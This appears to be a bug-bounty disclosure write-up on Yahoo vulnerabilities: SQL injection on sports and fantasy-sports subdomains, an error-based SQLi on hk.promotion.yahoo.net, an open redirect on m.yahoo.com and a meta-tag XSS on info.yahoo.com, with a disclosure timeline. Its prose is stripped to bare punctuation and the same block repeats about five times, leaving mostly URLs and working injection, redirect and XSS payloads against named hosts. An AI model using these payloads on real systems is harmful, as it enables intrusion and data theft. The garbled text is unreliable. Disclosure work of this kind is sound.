sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

• .
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .
• .
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .
• .
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

